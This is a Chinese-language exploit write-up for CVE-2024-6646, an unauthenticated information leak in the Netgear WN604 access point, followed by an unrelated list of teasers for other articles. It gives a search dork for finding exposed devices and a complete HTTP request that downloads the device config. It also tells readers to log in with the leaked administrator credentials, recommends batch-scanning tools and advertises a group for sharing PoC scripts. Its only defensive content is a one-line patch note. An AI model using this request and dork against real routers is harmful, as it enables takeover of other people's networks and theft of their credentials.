【漏洞复现】Netgear WN604 downloadFile.php 信息泄露漏洞(CVE-2024-6646)
0x01 产品简介
NETGEAR WN604是一款由NETGEAR（网件）公司生产的无线接入器（或无线路由器）提供Wi-Fi保护协议（WPA2-PSK, WPA-PSK），以及有线等效加密（WEP）64位、128位和152位支持，保障网络安全。同时支持MAC地址认证、802.1x RADIUS以及EAP TLS、TTLS、PEAP等安全机制，进一步增强网络安全性。
0x02 漏洞概述
Netgear WN604 downloadFile.php接口处存在信息泄露漏洞，未经身份验证的远程攻击者可以利用此漏洞获取无线路由器的管理员账号密码信息，导致路由器后台被控，攻击者可对无线网络发起破坏或进一步威胁。
0x03 搜索引擎
title=="Netgear"
0x04 漏洞复现
GET /downloadFile.php?file=config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
利用泄露的账号密码登录系统
0x05 工具批量
nuclei
afrog
xray
POC脚本获取
请使用VX扫一扫加入内部POC脚本分享圈子
0x06 修复建议
目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
https://www.netgear.com/uk
相关文章：
【漏洞复现】Netgear WN604 downloadFile.php 信息泄露漏洞(CVE-2024-6646)
0x01 产品简介 NETGEAR WN604是一款由NETGEAR（网件）公司生产的无线接入器（或无线路由器）提供Wi-Fi保护协议（WPA2-PSK, WPA-PSK），以及有线等效加密（WEP）64位、128位和152…...
的步骤整理)
图像处理 -- ISP调优(tuning)的步骤整理
ISP调优流程培训文档 1. 硬件准备 选择合适的图像传感器：根据项目需求选择合适的传感器型号。搭建测试环境：包括测试板、光源、色彩卡和分辨率卡等。 2. 初始设置 寄存器配置：初始化传感器的寄存器设置，包括曝光、增益、白平衡…...
【中项】系统集成项目管理工程师-第4章 信息系统架构-4.2系统架构
前言：系统集成项目管理工程师专业，现分享一些教材知识点。觉得文章还不错的喜欢点赞收藏的同时帮忙点点关注。 软考同样是国家人社部和工信部组织的国家级考试，全称为“全国计算机与软件专业技术资格（水平）考试”&…...
node.js中nodemon : 无法加载和使用问题，这是由于windows安全策略影起的按如下操作即可
1、用管理员权限打开vscode 2、文件终端中打开，输入 Set-ExecutionPolicy -Scope CurrentUser 3、再输入RemoteSigned 4、使用get-ExecutionPolicy查看权限，可以看到变为了RemoteSigned 重启问题解决...
【SD】 Stable Diffusion（SD）原理详解与ComfyUI使用 2
Stable Diffusion（SD）原理详解与ComfyUI使用 Stable Diffusion（SD）原理详解与ComfyUI使用1. SD整体结构2. Clip（文本编码器）3. Unit（生成模型）4. VAE（变分自编码器&#…...
【学习笔记】无人机系统（UAS）的连接、识别和跟踪（七）-广播远程识别码（Broadcast Remote ID）
目录 引言 5.5 广播远程识别码（Broadcast Remote ID） 5.5.1 使用PC5的广播远程识别码 5.5.2 使用MBS的广播远程识别码 引言 3GPP TS 23.256 技术规范，主要定义了3GPP系统对无人机（UAV）的连接性、身份识别、跟踪及…...
VMware 虚拟机 ping 不通原因排查
目录 一、检查网络 二、重启虚拟机网络 因为最近遇到了一个比较奇怪的 ping 不通虚拟机的事，在此过程中，检查了很多的设置，故而写一篇文章记录下，如有 VMware 虚拟机 ping 不通可以尝试本文的排查方式。 下面以 VMware 虚拟机为…...
websocket状态机
websocket突破了HTTP协议单向性的缺陷，基于HTTP协议构建了双向通信的通道，使服务端可以主动推送数据到前端，解决了前端不断轮询后台才能获取后端数据的问题，所以在小程序和H5应用中被广泛使用。本文主要集合报文分析对于websocket…...
JCR一区级 | Matlab实现CPO-Transformer-LSTM多变量回归预测【2024新算法】
JCR一区级 | Matlab实现CPO-Transformer-LSTM多变量回归预测【2024新算法】 目录 JCR一区级 | Matlab实现CPO-Transformer-LSTM多变量回归预测【2024新算法】效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.【JCR一区级】Matlab实现CPO-Transformer-LSTM多变量回归预测…...
力扣3226 使两个整数相等的位更改次数
写的代码： class Solution { public:string cc(int num){string res"";while(num>0){int rnum % 2;resstatic_cast<char>(48r)res;num/2;}return res;}int minChanges(int n, int k) {int res0;string n2cc(n);string k2cc(k);int n_sizen2.siz…...
VLAN 划分案例详解
vlan 的应用在网络项目中是非常广泛的，基本上大部分的项目都需要划分 vlan，这里从基础的 vlan 的知识开始，了解 vlan 的划分原理。 为什么需要 vlan： 1、什么是 VLAN？ VLAN（Virtual LAN）&…...
[技术总结] C++ 使用经验
const 和 constexpr 有什么区别. const 一般是设置一个只读的属性, 在运行时还有可能通过cast变成一个可修改的. 但是constexpr是告诉编译器这就是一个常亮, 在编译时就可以计算出来然后进行替换.static 修饰的成员函数 & 成员变量 static 修饰的成员函数只能访问 static 修…...
音频数据集
1 多语言 Mozilla Common Voice 下载地址：https://voice.mozilla.org/data 时长：1965小时（目前为止） 最早2017年发布，持续更新，该基金会表示，通过 Common Voice 网站和移动应用，他们…...
Java | Leetcode Java题解之第268题丢失的数字
题目： 题解： class Solution {public int missingNumber(int[] nums) {int n nums.length;int total n * (n 1) / 2;int arrSum 0;for (int i 0; i < n; i) {arrSum nums[i];}return total - arrSum;} }...
指针！！C语言(第二篇）
目录 一. 数组名的理解 二. 一维数组传参的本质 三. 冒泡排序法 四. 二级指针与指针数组 五. 字符指针变量与数组指针 一. 数组名的理解 在我们对指针有了初步的理解之外，今天我们来掌握一些新的知识就是数组与指针，第一个对数组名的了解ÿ…...
AIGC-ToonCrafter: Generative Cartoon Interpolation
论文:https://arxiv.org/pdf/2405.17933 代码:https://doubiiu.github.io/projects/ToonCrafter 给定首尾帧，生成逼真生动的动画 MOTIVATION Traditional methods which implicitly assume linear motion and the absence of complicated phenomena like disoccl…...
牛奶供应（三）
一个字贪，第一天，只能选择制作方式，后面的每一天，在<今天制作>与<前期存储>之间取更优解 例如样例：100 5，200 5，90 20，存储成本为10 第1天： 一定是制作&…...
首批通过 | 百度通过中国信通院H5端人脸识别安全能力评估工作
2024年5月，中国信息通信研究院人工智能研究所依托中国人工智能产业发展联盟安全治理委员会（AIIA）、“可信人脸应用守护计划”及多家企业代表共同开展《H5端人脸识别线上身份认证安全能力要求及评估方法》的编制工作，并基于该方法开…...
JVM---对象是否存活及被引用的状态
1.如何判断对象是否存活 1.1 引用计数算法 概念：在对象头部增加一个引用计数器,每当有一个地方引用它时，计数器值就加一；当引用失效时，计数器值就减一；任何时刻计数器为零的对象就是不可能再被使用的。 优点࿱…...
科研绘图系列：R语言分割小提琴图（Split-violin）
介绍 分割小提琴图（Split-violin plot）是一种数据可视化工具，它结合了小提琴图（violin plot）和箱线图（box plot）的特点。小提琴图是一种展示数据分布的图形，它通过在箱线图的两侧添加曲线来表示数据的密度分布，曲线的宽度表示数据点的密度。而分割小提琴图则是将小提…...
PyCharm项目环境混乱？试试用Mamba+environment.yml打造可复现的纯净工作流
PyCharm项目环境混乱？试试用Mambaenvironment.yml打造可复现的纯净工作流 当团队协作开发Python项目时，最令人头疼的问题莫过于"在我机器上能跑"的经典困境。不同成员使用不同版本的依赖包，或者本地环境被多个项目污染，…...
给嵌入式新手的Cortex-M0内核超详细图解：从寄存器到中断，一篇搞定STM32/GD32入门
给嵌入式新手的Cortex-M0内核超详细图解：从寄存器到中断，一篇搞定STM32/GD32入门 刚拿到STM32开发板时，看着密密麻麻的引脚和上百页的芯片手册，我完全不知道从哪里开始。直到导师指着原理图说："把芯片想象成一个忙…...
3步构建智能无人机防御系统：从威胁识别到实时追踪的实践指南
3步构建智能无人机防御系统：从威胁识别到实时追踪的实践指南 【免费下载链接】Anti-UAV 🔥🔥Official Repository for Anti-UAV🔥🔥 项目地址: https://gitcode.com/gh_mirrors/an/Anti-UAV 一、安全威胁&#…...
金融Agent再获近2亿加码！启明红杉高瓴集体押注，5个月内连获两轮融资
允中 发自 凹非寺量子位 | 公众号 QbitAI近日，金融AI领跑者讯兔科技（Alpha派）正式完成近2亿元A轮融资。继去年10月完成超亿元Pre-A轮融资后，讯兔科技在短短5个月内再获顶级机构强强加持。本轮由启明创投、红杉中国、高瓴创投共同领…...
如何高效迁移至WeFriends：微信好友关系管理工具全新升级指南
如何高效迁移至WeFriends：微信好友关系管理工具全新升级指南 【免费下载链接】WechatRealFriends 微信好友关系一键检测，基于微信ipad协议，看看有没有朋友偷偷删掉或者拉黑你 项目地址: https://gitcode.com/gh_mirrors/we/WechatRealFrien…...
人工智能高质量数据集概述
人工智能高质量数据集，是指经过标准化采集、清洗、标注、质检、脱敏及结构化处理，能够直接用于人工智能模型开发、训练与优化，且能有效提升模型性能、保障模型泛化能力，具备高可用性、高一致性、高安全性和高适配性的结构化或非结…...
避坑指南：SpringBoot整合Drools 7.20时热部署冲突的解决方案
SpringBoot与Drools 7.20热部署冲突深度排查指南 当SpringBoot的devtools热部署功能遇上Drools规则引擎，就像两个高效率的工人同时修改同一台机器——看似都能独立工作，组合时却可能引发难以察觉的运行时故障。本文将带您深入这个典型的技术冲突现场&…...
Pixel Fashion Atelier基础教程：硬核8-Bit界面操作逻辑与非对称布局解析
Pixel Fashion Atelier基础教程：硬核8-Bit界面操作逻辑与非对称布局解析 1. 像素时装锻造坊简介 Pixel Fashion Atelier是一款基于Stable Diffusion与Anything-v5的图像生成工具，它彻底改变了传统AI工具的界面设计理念。这款工具将复古日系RPG的"…...
实战指南：如何用Hydra在Kali Linux上快速破解Telnet弱密码（附字典优化技巧）
Kali Linux渗透测试实战：Hydra高效破解Telnet服务的进阶技巧 在渗透测试和网络安全评估中，弱密码检测是基础但至关重要的环节。Telnet作为传统的远程管理协议，由于采用明文传输，成为安全测试的重点对象。本文将深入探讨如何利用Ka…...
STM32 GPIO模式实战：开漏输出与推挽输出的5个常见应用场景解析
STM32 GPIO模式实战：开漏输出与推挽输出的5个常见应用场景解析 在嵌入式开发中，GPIO（通用输入输出）是最基础也是最常用的外设之一。STM32系列微控制器提供了多种GPIO模式，其中开漏输出（Open-Drainÿ…...